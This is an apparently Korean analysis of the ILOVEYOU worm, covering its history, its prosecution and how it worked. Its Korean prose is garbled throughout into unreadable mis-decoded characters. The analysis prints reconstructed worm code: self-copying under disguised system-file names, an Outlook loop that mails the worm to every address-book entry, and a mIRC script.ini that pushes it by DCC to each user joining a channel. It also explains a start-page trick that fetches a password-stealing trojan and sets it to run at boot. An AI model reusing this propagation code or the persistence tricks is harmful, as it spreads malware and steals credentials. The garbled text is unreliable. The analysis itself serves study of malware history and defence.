- ์
์ฑ์ฝ๋๋ช
: ILOVEYOU ยท ๋ณ์นญ LoveLetter / Love Bug /
VBS/LoveLetter.AยทVBS.LoveLetter.A - ๋ฑ์ฅ: 2000๋ 5์ 4์ผ (ํ๋ฆฌํ ๋ง๋๋ผ ์ ํฌ โ ํ์ฝฉ์์ ์ฒซ ๋๋ ๋ณด๊ณ โ ์ ์๊ฐ ๋ง์ ์ ๋ฝยท๋ฏธ๊ตญ ์ ์ญ)
- ๋ถ๋ฅ: ๋๋ ๋ฉ์ผ ์(mass-mailer). ๋คํธ์ํฌ ์ค์บํ์ด ์๋๋ผ ์ฌ์ฉ์์ ๋๋ธํด๋ฆญ์ ์์ง์ผ๋ก ์ฐ๋ VBScript ์คํฌ๋ฆฝํธ
- ์ ๋ชฉ/๋ณธ๋ฌธ/์ฒจ๋ถ: ์ ๋ชฉ
ILOVEYOUยท ๋ณธ๋ฌธkindly check the attached LOVELETTER coming from me.ยท ์ฒจ๋ถLOVE-LETTER-FOR-YOU.TXT.vbs - ์คํ ํ๊ฒฝ: Windows Script Host(WSH,
wscript.exe) + Outlook MAPI ์ฃผ์๋ก + mIRC ์คํฌ๋ฆฝํธ + ํ์ผ์์คํ (Scripting.FileSystemObject) - ์ ํ 3๊ฒฝ๋ก: โ ์์๋ฃฉ ์ฃผ์๋ก ์ ์ฒด์ ์๋ ๋ฐ์ก โก ๋ก์ปฌ ๋๋ผ์ด๋ธ ์ ์ฒด์ ํ์ผ ๊ฐ์ผ(
.vbs .vbe .js .jse .css .wsh .sct .hta .jpg .jpeg .mp3 .mp2 .html .htm) โข mIRCscript.ini์ฌ์ด IRC ์ฑ๋ ์ ์ฅ์์๊ฒ DCC ์๋ ์ ์ก - 2๋จ๊ณ ํ์ด๋ก๋: IE ์์ ํ์ด์ง๋ฅผ ์กฐ์ํด
WIN-BUGSFIX.EXE(๋ค์ด์ผ์ ์ํธ ํ์ทจ ํธ๋ก์ด๋ชฉ๋ง)๋ฅผ ๋ด๋ ค๋ฐ๊ฒ ํ๊ณRunํค์ ๋ฑ๋ก - ํผํด: ์ฝ 1,000๋ง ๋ ๊ฐ์ผ(์ผ๋ถ ์ง๊ณ ์ต๋ 4,500๋ง ๋, ์ธํฐ๋ท ์ฐ๊ฒฐ PC์ ์ฝ 10%), ํผํด์ก ์ฝ 55์ต ๋ฌ๋ฌ(Computer Economics ์ถ์ , ์ผ๋ถ ์ง๊ณ 87์ต~100์ต ๋ฌ๋ฌ)
- ์ ์์: Onel de Guzman(ํ๋ฆฌํ AMA Computer College). ์กธ์ ๋ ผ๋ฌธ์ผ๋ก ์ ์ถํ๋ ค๋ '์ธํฐ๋ท ์ ์๋ฃ๋ฅผ ํ์น๋ ํธ๋ก์ด๋ชฉ๋ง'๊ฐ ๊ฑฐ์ ๋นํ ๋ค ๋ณํ๋ ๊ฒ์ผ๋ก ์๋ ค์ก๋ค
- ๋ฒ์ ๊ฒฐ๋ง: ๋น์ ํ๋ฆฌํ์ ํดํน์ ์ฒ๋ฒํ ๋ฒ์ด ์์๋ค. 2000๋ 6์ ์ ์ ๋ ์ ์์๊ฑฐ๋๋ฒ(RA 8792)์ ์๊ธ ์ ์ฉ ๊ธ์ง๋ก 5์ 21์ผ ๊ธฐ์ ์ทจํ โ "๋ฌด์ฃ๊ฐ ์๋๋ผ, ์ฃ๋ฅผ ๊ท์ ํ ๋ฒ์ด ์์๋ค"
- ์์: ์ฌํ๊ณตํ + ์๋ํ๋ ์ฃผ์๋ก + ์คํฌ๋ฆฝํธ ์คํ์ด๋ผ๋ ์ค๋๋ ๋์ฌ์จ์ด ์ ํฌ ์ฒด์ธ์ ์ํ. ์ดํ ๋ชจ๋ ๋ฉ์ผ ๊ฒ์ดํธ์จ์ด๊ฐ
.vbs์ฐจ๋จ ๋ชฉ๋ก์ ๊ฐ๊ฒ ๋ ์ง์ ์ ๊ณ๊ธฐ
1. ๋ฐฐ๊ฒฝ/์ญ์ฌ โ ๋ง๋๋ผ์ ๋ ผ๋ฌธ ํ ํธ์์ ์์๋ 5์
1999๋ Melissa๊ฐ ๋งคํฌ๋ก ๋ฐ์ด๋ฌ์ค๋ก ์์๋ฃฉ ์ฃผ์๋ก์ ์ฒ์ ๋๋์ผ๋ก ๊ฑด๋๋ ธ๊ณ , 2000๋ ์ด Anna KournikovaยทNavidad ๊ฐ์ VBS ๊ณ์ด์ด 'ํ ๋งํ ์ฒจ๋ถํ์ผ'์ ์๋ ฅ์ ์๊ณ ํ๋ค. ๊ทธ๋ฌ๋ ILOVEYOU๋ ์ด ๋ชจ๋ ๊ฒ์ ํ ๋จ๊ณ ๋์ด์ฌ๋ ธ๋ค. ํ ๋ง๊ฐ ์ฐ์ ์๊ณ , ํ์ฅ์๊ฐ ์จ๊ฒจ์ ธ ์์๊ณ , ์ฝ๋๊ฐ 1KB ๋จ์ง์ ์ฌ๋์ด ์ฝ์ ์ ์๋ VBScript์๋ค.
๋ฐฐ๊ฒฝ์๋ ํ๋ฆฌํ์ ํต์ ํ๊ฒฝ์ด ์๋ค. 2000๋ ๋ง๋๋ผ์ ๊ฐ์ ์ฉ ์ธํฐ๋ท์ ์ฌ์ฉํ ์๊ฐ๋งํผ ์๊ธ์ ๋ด๋ ์ข ๋์ ๋ค์ด์ผ์ ์ด ์ผ๋ฐ์ ์ด์๋ค. AMA Computer College์ ๋ค๋๋ Onel de Guzman์ ์ ์๋ฃ๋ฅผ ๋ด์ง ์์ผ๋ ค๊ณ ๋ค์ด์ผ์ ์ํธ๋ฅผ ๋นผ๋ด ๋ค๋ฅธ ์ฌ๋์ ๊ณ์ ์ผ๋ก ์ ์ํ๋ ํธ๋ก์ด๋ชฉ๋ง๋ฅผ ์กธ์ ๋ ผ๋ฌธ์ผ๋ก ์ ์ถํ๊ณ , ํ๊ต๋ "๋ถ๋ฒ"์ด๋ผ๋ ์ด์ ๋ก ๊ฑฐ์ ํ๋ค. ๊ทธ๋ ๊ทธ ์ฝ๋์ '์ํธ ํ์ทจ' ๋ถ๋ถ์ ๋ผ์ด๋ด๊ณ '์ฃผ์๋ก์ผ๋ก ์๊ธฐ ์์ ์ ํผ๋จ๋ฆฌ๋' ๋ถ๋ถ์ ๋ถ์ฌ 2000๋ 5์ 4์ผ ๋ด๋ณด๋๋ค. ๋ ผ๋ฌธ์ด ๊ฑฐ์ ๋ ์ง ๋ช ๋ฌ ๋ค์๋ค.
์ฒซ ์ ๊ณ ๋ 2000๋ 5์ 4์ผ ํ์ฝฉ์์ ๋ค์ด์๋ค. ์์ ์ผ์ด ์์๋๋ ์์๋๋ก โ ์์์ โ ์ ๋ฝ โ ๋ฏธ์ฃผ โ ์์ฐจ๋ฅผ ํ๊ณ 24์๊ฐ ์์ ์ง๊ตฌ๋ฅผ ํ ๋ฐํด ๋์๋ค. ์๊ตญ ํ์, ๋ด๋งํฌ ์ํ, CIA, ํํ๊ณค, ํฌ๋, ๋ค์ฐ์กด์ค, ABC ๋ฐฉ์ก ๋ฑ์ ๋ฉ์ผ ์์คํ ์ด ์ ๊ฒผ๊ณ , ํ๋ฆฌํ ์ฆ๊ถ๊ฑฐ๋์๋ ์์คํ ์ ๋ฉ์ถ๊ณ ์์์ ์ผ๋ก ๊ฑฐ๋๋ฅผ ์ฒ๋ฆฌํด์ผ ํ๋ค. ๋ฏธ๊ตญ ์ ๋ถ๋ ์ผ๋ถ ๋ถ๋ฅ ์์คํ ์ ์ธ๋ถ ์ฐ๊ฒฐ์ ์ฐจ๋จํ๊ณ , ์ค์จ๋ด ์ํ๋ ๋ฉ์ผ์ ๋ซ์๋ค.
์์ฌ๋ ๋น ๋ฅด๊ฒ ์งํ๋์ง๋ง ๊ฒฐ๋ง์ ํ๋ฌดํ๋ค. ํ๋ฆฌํ ๊ฒฝ์ฐฐ์ 5์ 8์ผ de Guzman์ ์ํ์ ์์ํ์ผ๋, ๋น์ ํ๋ฆฌํ ํ๋ฒ์๋ ์ปดํจํฐ๋ฅผ ํตํ ์ฌ์ฐ ์นจํดยท์ ์ฑ์ฝ๋ ์ ํฌ๋ฅผ ์ฒ๋ฒํ๋ ์กฐํญ์ด ์์๋ค. ๊ฒ์ฐฐ์ ์ ๋ยท์ฌ๊ธฐ ํ์ ์ ์ฉ์ ์๋ํ์ง๋ง ์คํจํ๊ณ , 2000๋ 6์ 14์ผ ์ ์ ๋ ์ ์์๊ฑฐ๋๋ฒ(RA 8792)์ด ์๊ธ ์ ์ฉ๋์ง ์์ 5์ 21์ผ ๊ธฐ์๊ฐ ์ทจํ๋๋ค. ์ด ์ฌ๊ฑด์ ์ดํ ๊ฐ๊ตญ์ด ์ฌ์ด๋ฒ ๋ฒ์ฃ ์ฒ๋ฒ๋ฒ์ ์๋๋ฅด๊ฒ ๋ง๋ ๊ฒฐ์ ์ ์ฌ๋ก๋ก ๋จ์๋ค(ํ๊ฐ๋ฆฌ ๋ถ๋คํ์คํธ ํ์ฝ ํ๋, ํ๋ฆฌํ ์ฌ์ด๋ฒ๋ฒ์ฃ์๋ฐฉ๋ฒ(2012) ๋ฑ).
2. ๊ฐ์ผยท์ ํ ๊ฒฝ๋ก โ ์ธ ๊ฐ์ ๋ฌธ์ ๋์์ ๋๋๋ฆฐ๋ค
ILOVEYOU์ ํ์ฐ๋ ฅ์ ํ ๋ฒ์ ๋๋ธํด๋ฆญ์ด ์ธ ๊ฐ๋๋ก ๋์์ ํผ์ง๋ค๋ ์ ์์ ๋์๋ค. ์ฌ์ฉ์๋ "์ง์ธ์ด ๋ณด๋ธ ๋ฌ๋ธ๋ ํฐ"๋ฅผ ์ด์์ ๋ฟ์ด์ง๋ง, ๊ทธ ์๊ฐ โ ๋ฉ์ผํจ โก ๋ด ํ๋๋์คํฌ โข ๋ด๊ฐ ๋ค์ด๊ฐ๋ IRC ์ฑ๋์ด ๋ชจ๋ ๊ฐ์ผ ๊ฒฝ๋ก๋ก ๋ฐ๋๋ค.
- ์ด๋ฉ์ผ(1์ฐจ ์์ง) โ ์์๋ฃฉ MAPI: ์คํ ์ฆ์
Outlook.Application์ COM์ผ๋ก ์์ฑํดGetNameSpace("MAPI")๋ก ๋ชจ๋ ์ฃผ์ ๋ชฉ๋ก(AddressLists)์ ๋ชจ๋ ํญ๋ชฉ์ ์๊ธฐ ์์ ์ ์ฒจ๋ถํด ๋ฐ์กํ๋ค. ์ฌ์ฉ์๋ '๋ณด๋ด๊ธฐ' ๋ฒํผ์ ๋๋ฅด์ง ์๋๋ค. - ํ์ผ์์คํ
(2์ฐจ ์์ง) โ listadriv():
Scripting.FileSystemObject๋ก ๋ชจ๋ ๋๋ผ์ด๋ธ์ ๋ชจ๋ ํด๋๋ฅผ ์ฌ๊ท์ ์ผ๋ก ํ์ผ๋ฉฐ ํ์ฅ์๋ณ๋ก ๋ค๋ฅธ ๊ฐ์ผ ๋์์ ์ํํ๋ค. ๊ณต์ ํด๋๊ฐ ๋ง์ดํธ๋ผ ์์ผ๋ฉด ๊ทธ ๊ฒฝ๋ก๋ ํฌํจ๋๋ค. - IRC(3์ฐจ ์์ง) โ mIRC script.ini:
mirc.ini๋ฅผ ์ฐพ์ผ๋ฉด ๊ฐ์ ํด๋์script.ini๋ฅผ ์๋ก ์จ์, ๋ด๊ฐ ์ฑ๋์ ๋ค์ด๊ฐ ๋๋ง๋ค ์ฑ๋์ ๋ชจ๋ ์ฌ์ฉ์์๊ฒ ํ์ผ์ DCC ์ ์กํ๋๋ก ๋ง๋ ๋ค. ์ฌ๋์ด ๋ง์์๋ก ์ง์๊ฐ ์ปค์ง๋ ๊ตฌ์กฐ๋ค.
์ฃผ๋ชฉํ ์ ์ ๋คํธ์ํฌ ์ค์บ์ด ์ ํ ์๋ค๋ ๊ฒ์ด๋ค. MorrisยทCode RedยทSlammer๊ฐ '์ทจ์ฝํ ์๋น์ค'๋ฅผ ์ฐพ์ ํค๋งธ๋ค๋ฉด, ILOVEYOU๋ ์ด๋ฏธ ์ ๋ขฐ๊ฐ ํ์ฑ๋ ๊ด๊ณ(์ฃผ์๋กยท์ฑ๋)๋ฅผ ๊ทธ๋๋ก ๊ณต๊ฒฉ ํ๋ฉด์ผ๋ก ์ผ๋ค. ๋ฐฉํ๋ฒฝ์ ์๋ฌด๊ฒ๋ ๋ง์ง ๋ชปํ๋ค. ํธ๋ํฝ์ ์ ์์ ์ธ SMTP 25๋ฒ ํฌํธ์๊ณ , ๋ฐ์ ์๋ ๋ด ์ฃผ์๋ก์ ์๋ ์ง์ธ์ด์๋ค.
ํ์ฐ ์๋๋ฅผ ๋ง๋ ๋ ํ๋์ ์์๋ ์ ๋ชฉ๊ณผ ์ฒจ๋ถ์ ์ผ๊ด์ฑ์ด๋ค. ๋ชจ๋ ๋ฉ์ผ์ด ๋๊ฐ์ด "ILOVEYOU" / "kindly check the attached LOVELETTER coming from me." ์๊ธฐ ๋๋ฌธ์, ์ฌ์ฉ์๋ "์ฌ๋ฌ ๋ช ์ด ๋์๊ฒ ๊ฐ์ ๋ฌ๋ธ๋ ํฐ๋ฅผ ๋ณด๋๋ค"๊ณ ํด์ํ๋ค. ์ง๊ธ์ ์คํผ์ดํผ์ฑ์ด ๊ฐ์ธํ๋ก ์ ๋ขฐ๋ฅผ ์ป๋๋ค๋ฉด, 2000๋ ์ ์ด ์์ ์ฌํ์ ์ฆ๊ฑฐ(social proof)์ ์ฐฉ์๋ก ์ ๋ขฐ๋ฅผ ์ป์๋ค.
3. ๋์ ์๋ฆฌ ์์ธ โ 1KB ์คํฌ๋ฆฝํธ์ ํด๋ถ
์๋ณธ์ ๊ณต๊ฐ ๋ถ์ ์๋ฃ๋ก ๊ด๋ฒ์ํ๊ฒ ๋ฌธ์ํ๋ผ ์๋ค. ์๋๋ ๊ทธ ๊ตฌ์กฐ๋ฅผ ์ฌ๊ตฌ์ฑํ ๊ฒ์ด๋ฉฐ, ์คํ ๊ฐ๋ฅํ ์๋ณธ ์ฝ๋๊ฐ ์๋๋ค(ํต์ฌ ์์ยท๊ฒฝ๋กยทํจ์ ์ด๋ฆ๋ง ๋ณด์กดํ ์ถ์ฝํ). ์ฝ๋ ์๋์๋ ์ ์์๊ฐ ๋จ๊ธด ํ์ ์ผ๋ก ์๋ ค์ง ์ฃผ์ rem barok -loveletter(vbe) <i hate go to school> by: spyder ... Manila, Philippines / March 5, 2000์ด ์์๋ค.
3.1 ์คํ ์ง์ ์ โ 5๊ฐ์ ๋ณต์ฌ๋ณธ๊ณผ 3๊ฐ์ ๋ ์ง์คํธ๋ฆฌ ํค
์คํฌ๋ฆฝํธ๋ WScript.ScriptFullname์ผ๋ก ์๊ธฐ ์์ ์ ํ
์คํธ๋ฅผ ์ฝ์ด ๋ณ์์ ๋ด๋๋ค(vbscopy). ์ดํ ๋ชจ๋ ๊ฐ์ผ ๋์์ "์ด ๋ฌธ์์ด์ ๋ค๋ฅธ ์์น์ ์ฐ๋ ์ผ"๋ก ํต์ผ๋๋ค. ์ด๊ฒ์ด 1KB์ง๋ฆฌ ์ฝ๋๊ฐ ํ์ผยท๋ฉ์ผยทIRC๋ฅผ ๋ชจ๋ ๊ฐ์ผ์ํฌ ์ ์์๋ ์ด์ ๋ค.
' โโ ๊ตฌ์กฐ ์ฌ๊ตฌ์ฑ(๊ต์ก์ฉ ์์ฝ). ์๋ณธ ๋ฐ์ด๋๋ฆฌ/์ ์ฒด ์ฝ๋ ์๋ โโ
On Error Resume Next ' ์ค๋ฅ๊ฐ ๋๋ ๋ฉ์ถ์ง ์๋๋ค โ ๊ฐ์ผ ์ง์์ฑ
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll ' โ
์๊ธฐ ์์ ์ ๋ฌธ์์ด๋ก ๋ณด๊ด
Set dirwin = fso.GetSpecialFolder(0) ' C:\Windows
Set dirsys = fso.GetSpecialFolder(1) ' C:\Windows\System32
Set c = fso.GetFile(WScript.ScriptFullname)
c.Copy dirsys & "\MSKernel32.vbs" ' โ ์์ฅ ์ด๋ฆ์ผ๋ก ์์ฃผ
c.Copy dirwin & "\Win32DLL.vbs" ' โก ์์ฅ ์ด๋ฆ์ผ๋ก ์์ฃผ
c.Copy dirsys & "\LOVE-LETTER-FOR-YOU.TXT.vbs" ' โข ๋ฉ์ผ ์ฒจ๋ถ์ฉ ์๋ณธ ํ๋ณด
regruns() ' ์๋ ์คํ ๋ฑ๋ก + 2๋จ๊ณ ํ์ด๋ก๋ ์ค๋น
htmls() ' ํ์ฅ์๋ณ ํ์ผ ๊ฐ์ผ
spreadtoemail()' ์์๋ฃฉ ์ฃผ์๋ก ์ ์ฒด ๋ฐ์ก
listadriv() ' ๋ชจ๋ ๋๋ผ์ด๋ธ ์ํ
ํ์ผ ์ด๋ฆ์ MSKernel32.vbs, Win32DLL.vbs๋ก ์ ํ ๊ฒ์ ์ ์ ์์คํ
ํ์ผ์ฒ๋ผ ๋ณด์ด๊ฒ ํ๊ธฐ ์ํ ์์ฅ์ด๋ค. ์ค์ MSKernel32.dllยทkernel32.dll๊ณผ ํผ๋๋๋๋ก ์ด๋ฆ์ ๋ถ์๋ค.
3.2 spreadtoemail() โ ์ฃผ์๋ก์ 'ํ ๋ฒ๋ง' ๊ธ๋ ์ฅ์น
๊ฐ์ฅ ์น๋ช
์ ์ธ ํจ์๋ค. COM์ผ๋ก ์์๋ฃฉ์ ์กฐ์ํด ์ฃผ์ ๋ชฉ๋ก์ ์ํํ๊ณ , ๊ฐ ์์ ์์๊ฒ ์ฒจ๋ถํ์ผ์ ๋ถ์ฌ Sendํ๋ค. ์ฌ๊ธฐ์ ์ค๋ณต ๋ฐ์ก ๋ฐฉ์ง์ฉ ๋ ์ง์คํธ๋ฆฌ ๋ง์ปค๊ฐ ๋ถ์ด ์์๋ค.
' ์์ฌ ์ฝ๋ โ ์ค์ ๋ฐ์ก์ ํ์ง ์๋๋ค
Set out = CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
For Each list In mapi.AddressLists ' ์ฐ๋ฝ์ฒ ํด๋๋ณ๋ก
regv = RegRead("HKCU\Software\Microsoft\WAB\" & list)
If regv = "" Then regv = 0
If list.AddressEntries.Count > regv Then
regv = list.AddressEntries.Count
RegWrite "HKCU\Software\Microsoft\WAB\" & list, regv ' โ
์ฒ๋ฆฌํ ๊ฐ์ ๊ธฐ๋ก
End If
For i = 1 To regv
addr = list.AddressEntries(i)
If RegRead("HKCU\Software\Microsoft\WAB\" & addr) = "" Then
Set m = out.CreateItem(0) ' ์ ๋ฉ์ผ
m.Recipients.Add addr ' ์์ ์ 1๋ช
m.Subject = "ILOVEYOU"
m.Body = vbCrLf & "kindly check the attached LOVELETTER coming from me."
m.Attachments.Add dirsys & "\LOVE-LETTER-FOR-YOU.TXT.vbs"
m.Send ' ์ฌ์ฉ์ ํ์ธ ์์ด ์ฆ์ ๋ฐ์ก
End If
Next
Next
HKCU\Software\Microsoft\WAB\ ์๋์ ์ฃผ์ ๋ชฉ๋ก ์ด๋ฆ๊ณผ ๊ฐ๋ณ ์ฃผ์๋ฅผ ๋ง์ปค๋ก ๊ธฐ๋กํ ๊ฒ์ด ํต์ฌ์ด๋ค. โ ๊ฐ์ ์ฌ๋์๊ฒ ๋ฌดํ์ ๋ฉ์ผ์ ๋ณด๋ด SMTP ์๋ฒ์์ ์ฐจ๋จ๋๋ ๊ฒ์ ๋ง๊ณ , โก ์ด๋ฏธ ๊ฐ์ผ๋ ์ฌ๋์ด ๋ค์ ๊ฐ์ผ๋์ ๋ ์๋ก ์ถ๊ฐ๋ ์ฃผ์๋ง ๊ธ์ด๊ฐ๋๋ก ํ๋ค. ์ฆ ๋จ์ ํญ์ฃผ๊ฐ ์๋๋ผ ์ํ๋ฅผ ๊ฐ์ง ํ์ฐ์ด์๋ค. ์ค๋๋ ๋์ฌ์จ์ด์ '๊ฐ์ผ ๋ง์ปค ํ์ผ'(๋๋ Mutex)๊ณผ ๊ฐ์ ๋ฐ์์ด๋ค.
๋ถ์์ฉ๋ ์์๋ค. ์ฃผ์๋ก์ด ์์ฒ ๊ฐ์ธ ๊ธฐ์ ์ฌ์ฉ์๊ฐ ๊ฐ์ผ๋๋ฉด ํ ๋์ PC๊ฐ ์์ฒ ํต์ ๋ฐ์กํด ์ฌ๋ด ๋ฉ์ผ ์๋ฒ์ ํ๊ฐ ํฐ์ก๋ค. ์ค์ ๋ก ์ด๊ธฐ ํ์ฐ์ ์์ ํ์ฐ ์๋๋ณด๋ค ๋ฉ์ผ ์๋ฒ์ ์ฒ๋ฆฌ ํ๊ณ๊ฐ ๊ฒฐ์ ํ๋ค. ๋ง์ ์กฐ์ง์ด "๋ฉ์ผ์ด ์ ์จ๋ค"๋ฅผ ์ด์ ์ ํธ๋ก ๊ฐ์งํ ์ด์ ๋ค.
3.3 infectfiles() / listadriv() โ ํ์ฅ์๋ณ๋ก ๋ค๋ฅธ ์ธ ๊ฐ์ง ๊ฐ์ผ
ํ์ผ ๊ฐ์ผ ๋ก์ง์ ํ์ฅ์์ ๋ฐ๋ผ ๋ฎ์ด์ฐ๊ธฐ ยท ์ถ๊ฐ(append) ยท ์ด๋ฆ ๋ณํ์ผ๋ก ๊ฐ๋ฆฐ๋ค. ์ด ์ฐจ์ด๊ฐ "ํผํด์๋ง๋ค ๋ฐ์ดํฐ ์์ค ์ ๋๊ฐ ๋ฌ๋๋" ์ด์ ๋ค.
| ๋์ ํ์ฅ์ | ๋์ | ๊ฒฐ๊ณผ |
|---|---|---|
.vbs .vbe | ํ์ผ์ ๋ฎ์ด์ด๋ค(vbscopy๋ก ์ ์ฒด ๊ต์ฒด) | ์๋ณธ ์คํฌ๋ฆฝํธ ์์ค |
.js .jse .css .wsh .sct .hta | ๋ฎ์ด์ด ๋ค ๊ฐ์ ์ด๋ฆ์ .vbs ๋ณต์ฌ๋ณธ์ ์ถ๊ฐ ์์ฑ | ์๋ณธ ์์ค + ๊ฐ์ผ ์ฌ๋ณธ 2๊ฐ |
.jpg .jpeg .mp3 .mp2 | ์๋ณธ์ ์ญ์ ํ๊ณ <์๋ณธ์ด๋ฆ>.vbs๋ฅผ ์๋ก ๋ง๋ ๋ค | ๋ฏธ๋์ด ํ์ผ ์ ์ค(๊ฐ์ฅ ๋๋ฆฌ ๋ณด๊ณ ๋ ํผํด) |
.html .htm | ํ์ผ ๋์ ์คํฌ๋ฆฝํธ ๋ณธ๋ฌธ์ ๋ง๋ถ์ธ๋ค(append) | ์๋ณธ ๋ณด์กด, ์ด๋ฉด ์ฌ๊ฐ์ผ |
mirc.ini ๋ฐ๊ฒฌ ์ | ๊ฐ์ ํด๋์ script.ini ์์ฑ | IRC DCC ์๋ ์ ์ก |
listadriv()๋ Drives ์ปฌ๋ ์
์ ๋๋ฉฐ C:๋ถํฐ Z:๊น์ง, ๋คํธ์ํฌ๋ก ๋งคํ๋ ๋๋ผ์ด๋ธ๊น์ง ์ฌ๊ท ์ํํ๋ค. ํด๋ ๊น์ด ์ ํ๋, ํ์ผ ๊ฐ์ ์ ํ๋ ์๋ค. ๊ทธ๋์ ๊ฐ์ผ ์งํ ๋์คํฌ ์ฌ์ฉ๋ฅ ์ด ๊ธ์ฆํ๊ณ (ํ์ผ๋ง๋ค ์ฌ๋ณธ ์์ฑ), ๋ฐฑ์ ์ ์ค์๊ฐ ๊ฒ์ฌ๊ฐ ์์ฒ ๊ฑด์ ํ์ง๋ฅผ ์์๋๋ค.
3.4 mIRC script.ini โ ์ฌ๋์ด ๋ง์ ๊ณณ์์ ์ง์๊ฐ ๋๋ ๊ฐ์ผ
IRC ํด๋ผ์ด์ธํธ mIRC๋ ๊ฐ์ ํด๋์ script.ini๋ฅผ ์๋์ผ๋ก ์ฝ๋๋ค. ์์ ์ด ํ์ผ์ ์ง์ ์์ฑํด, ๋ด๊ฐ ์ด๋ค ์ฑ๋์ ์
์ฅ(on 1:JOIN)ํ ๋๋ง๋ค ์ฑ๋์ ๋ชจ๋ ์ฌ์ฉ์์๊ฒ ํ์ผ์ DCC๋ก ๋ณด๋ด๋ ์ด๋ฒคํธ๋ฅผ ์ฌ์๋ค.
[script]
n0=on 1:JOIN:#:{
n1= /if ( $nick == $me ) { halt }
n2= /.dcc send $nick C:\Windows\System32\LOVE-LETTER-FOR-YOU.HTM
n3=}
IRC์๋ ์ด๋ฏธ "ํ์ผ์ ๋ฐ์ผ๋ฉด ์คํํ๋ค"๋ ๋ฌธํ๊ฐ ์์๋ค. ๋ฏ์ ์ฌ๋์ด ๋ณด๋ธ ํ์ผ์ ์ฌ๋ ํ์๊ฐ ์์ฐ์ค๋ฌ์ ๊ณ , ์ฑ๋ ํ๋์ 200๋ช
์ด ์์ผ๋ฉด ํ ๋ฒ์ ์
์ฅ์ด 200๊ฑด์ ๊ฐ์ผ ์๋๊ฐ ๋๋ค. ์์ด IRC์ฉ์ผ๋ก ๋ฐ๋ก LOVE-LETTER-FOR-YOU.HTM์ ๋ง๋ ์ด์ ๋, ๋ฉ์ผ ์ฒจ๋ถ(.vbs)๊ฐ IRC์์ ์ฐจ๋จ๋๋ ๊ฒฝ์ฐ๊ฐ ์์๊ธฐ ๋๋ฌธ์ด๋ค.
3.5 2๋จ๊ณ ํ์ด๋ก๋ โ WIN-BUGSFIX.EXE์ ์์ ํ์ด์ง ํธ๋ฆญ
์ ๋ณธ์ฒด๋ 'ํ์ฐ'๋ง ๋ด๋นํ๊ณ , ์ค์ ๋ชฉ์ (์ํธ ํ์ทจ)์ ๋ณ๋ ์คํ ํ์ผ์ด ๋งก์๋ค. ๋ค์ด๋ก๋ ๋ฐฉ์์ด ๋ ํนํ๋ค.
HKCU\...\Internet Explorer\Download Directory์์ ์ฌ์ฉ์์ ๋ค์ด๋ก๋ ํด๋๋ฅผ ์ฝ๋๋ค(๋น์ด ์์ผ๋ฉดc:\).- IE ์์ ํ์ด์ง(
Start Page)๋ฅผWIN-BUGSFIX.exe๋ฅผ ๊ฐ๋ฆฌํค๋ URL๋ก ๋ฐ๊พผ๋ค. ํ์ผ ํ์ฅ์๋ฅผ.exe๋ก ์ค ๊ฒ์ IE๊ฐ ์คํ ํ์ผ์ '๋ค์ด๋ก๋'๋ก ์ฒ๋ฆฌํ๋๋ก ์ ๋ํ๊ธฐ ์ํด์๋ค. - ๋ค์์ IE๋ฅผ ์ด๋ฉด ๋ธ๋ผ์ฐ์ ๊ฐ ๊ทธ URL์ ๋ฐ์ ๋ค์ด๋ก๋ ํด๋์
WIN-BUGSFIX.exe๋ฅผ ์ ์ฅํ๋ค. HKLM\...\Run\WIN-BUGSFIX์ ๊ทธ ๊ฒฝ๋ก๋ฅผ ๋ฑ๋กํด ์ฌ๋ถํ ์ ์๋ ์คํ๋๊ฒ ํ๊ณ , ์์ ํ์ด์ง๋ฅผabout:blank๋ก ๋๋๋ ค ํ์ ์ ๊ฐ์ถ๋ค.
์ฆ '๋ธ๋ผ์ฐ์ ๋ฅผ ๋ค์ด๋ก๋๋ก ์ฐ๋' ๊ธฐ๋ฒ์ด๋ค. HTTP ํด๋ผ์ด์ธํธ๋ฅผ ์ง์ ๊ตฌํํ์ง ์๊ณ ๋ ํ์ผ์ ๊ฐ์ ธ์ฌ ์ ์์๊ณ , ํธ๋ํฝ์ ์ ์์ ์ธ ์น ์์ฒญ์ผ๋ก ๋ณด์๋ค. ์ด ํธ๋ก์ด๋ชฉ๋ง๋ ๋ค์ด์ผ์ ๋คํธ์ํฌ ์ํธ์ ์บ์๋ ์๊ฒฉ์ฆ๋ช ์ ์์งํด ํน์ ๋ฉ์ผ ์ฃผ์๋ก ์ ์กํ๋ ค ํ๋ค. ๋คํํ ์ด ๋ค์ด๋ก๋ URL์ ์ฌ๊ฑด ์งํ ํต์ ์ฌยทํธ์คํ ์ ์ฒด๊ฐ ์ฐจ๋จํด ๋๊ท๋ชจ 2์ฐจ ํผํด๋ ๋ฐ์ํ์ง ์์๋ค.
3.6 ์ ์ด๋ ๊ฒ ๋นจ๋๋ โ ๋ค์ฏ ๊ฐ์ง ๊ตฌ์กฐ์ ์ด์
- ํ์ฅ์ ์๋: Windows 98/2000์ ๊ธฐ๋ณธ ์ค์ ์ ์๋ ค์ง ํ์ฅ์๋ฅผ ์จ๊ธด๋ค.
LOVE-LETTER-FOR-YOU.TXT.vbs๊ฐ ํ์๊ธฐ์์LOVE-LETTER-FOR-YOU.TXT๋ก ๋ณด์๋ค. 'ํ ์คํธ ํ์ผ์ด๋ ์์ ํ๋ค'๋ ํ๋จ์ด UI์ ์ํด ๋ง๋ค์ด์ง ์ฐฉ๊ฐ์ด์๋ค. - WSH์ ๋ฌด๋ฐฉ๋น ์คํ:
.vbs๋๋ธํด๋ฆญ = ์ฆ์ ์คํ. ์๋ช ๊ฒ์ฆ๋, ๊ฒฝ๊ณ ๋, ์๋๋ฐ์ค๋ ์์๋ค. ์ค๋๋ ์ '๋งคํฌ๋ก ์ฌ์ฉ' ๋ฒํผ ๊ฐ์ ๋ง์ฐฐ์ด ์ ํ ์์๋ค. - COM ์๋ํ: ์์๋ฃฉยทํ์ผ์์คํ ์ ์ ์ API๋ก ์กฐ์ํ๋ค. ์ทจ์ฝ์ (exploit)์ด 0๊ฐ์ธ ๊ณต๊ฒฉ์ด์๋ค. ํจ์นํ ๋ฒ๊ทธ๊ฐ ์์๊ธฐ ๋๋ฌธ์ ๋ฐฑ์ ์๊ทธ๋์ฒ ๋ง๊ณ ๋ ๋ง์ ๋ฐฉ๋ฒ์ด ์์๋ค.
